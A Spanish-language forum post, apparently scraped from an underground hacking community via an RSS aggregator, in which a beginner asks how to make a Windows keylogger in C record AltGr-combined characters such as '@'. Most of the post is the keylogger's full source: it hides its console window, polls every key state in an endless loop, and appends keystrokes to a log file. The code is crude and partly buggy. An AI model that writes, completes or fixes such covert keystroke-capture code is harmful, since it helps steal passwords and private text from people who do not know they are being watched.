Quantcast
Channel: Comunidad Underground Hispana
Viewing all articles
Browse latest Browse all 11602

Problema con keylogger en C

$
0
0
Buenas tardes, soy nuevo en el foro y vengo buscando un poco de ayuda. Mi problema es que me han pedido hacer un keylogger en C que lea todo tipo de letras y carácteres especiales. La cuestión es que puedo leer cualquier carácter salvo cuando quiero escribir un carácter que está combinada por más de una tecla. Por ejemplo, quiero escribir el carácter '@', por lo que tendré que utilizar la tecla [Alt Gr] + 2. Soy nuevo en la programación de C, por favor necesito ayuda. Gracias!

Mi código es el siguiente:

------------------------------------------------------------------------


#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <ctype.h>

#define SHIFTED 0x8000
#define TECLA_OK -32767

/* Almacena las teclas en el fichero log */
int key2file(int tecla, char *file)
{
FILE *fd=NULL;

if((tecla ==1) || (tecla == 2))
return 0;

/* Abre fichero */
fd = fopen(file,"a+");
if(fd == NULL)
return 0;

/* Comprueba teclas */
if(tecla == 8)
fprintf(fd,"%s","[DEL]");
else if (tecla == 13)
fprintf(fd,"%s","\n");
else if (tecla == 32)
fprintf(fd,"%s"," ");
else if(tecla == 110 || tecla == 190)
fprintf(fd,"%s",".");
else if(tecla >= 0x2F && tecla <= 0x39)
{
/* Número */
fprintf(fd,"%s",(char *)&tecla);
}
else if(tecla >= 0x41 && tecla <= 0x5A)
{
/* Letra */
fprintf(fd,"%s",(char *)&tecla);
}



/* Impresion de caracteres especiales desde teclado numerico y pulsaciones de Mayusculas y shitf. */

switch(tecla){
case 106 :
{

fprintf(fd,"%s","*");
break;
}

case 107 :
{

fprintf(fd,"%s","+");
break;
}


case 108 :
{

fprintf(fd,"%s","\n");
break;
}
case 109:
{

fprintf(fd,"%s","-");
break;
}

case 110 :
{

fprintf(fd,"%s",".");
break;
}

case 111 :
{

fprintf(fd,"%s","/");
break;
}

case 9 :
{
fprintf(fd,"%s","[Tabulador]");
break;

}

case 20 :
{
fprintf(fd, "%s","[Bloq.Mayus.]");
break;
}

case 0x10 :
{
fprintf(fd, "%s","[Shitf]");
break;
}

case 0x11 :
{
fprintf(fd, "%s","[Ctrl]");
break;
}

case 0x11+0x32 :
{
fprintf(fd, "%s","@");
break;
}





}


fclose(fd);
return 0;
}

int main(void)
{
HWND Handle;
char tecla;

AllocConsole();
Handle = FindWindowA("consoleWindowClass",NULL);
ShowWindow(Handle,0);

/* Bucle de funcionamiento */
for(; ;
{
for(tecla=8; tecla<=190; tecla++)
{
if(GetAsyncKeyState(tecla) == TECLA_OK)
key2file(tecla,"keylog.txt");
}
}



return 0;
}

Viewing all articles
Browse latest Browse all 11602

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>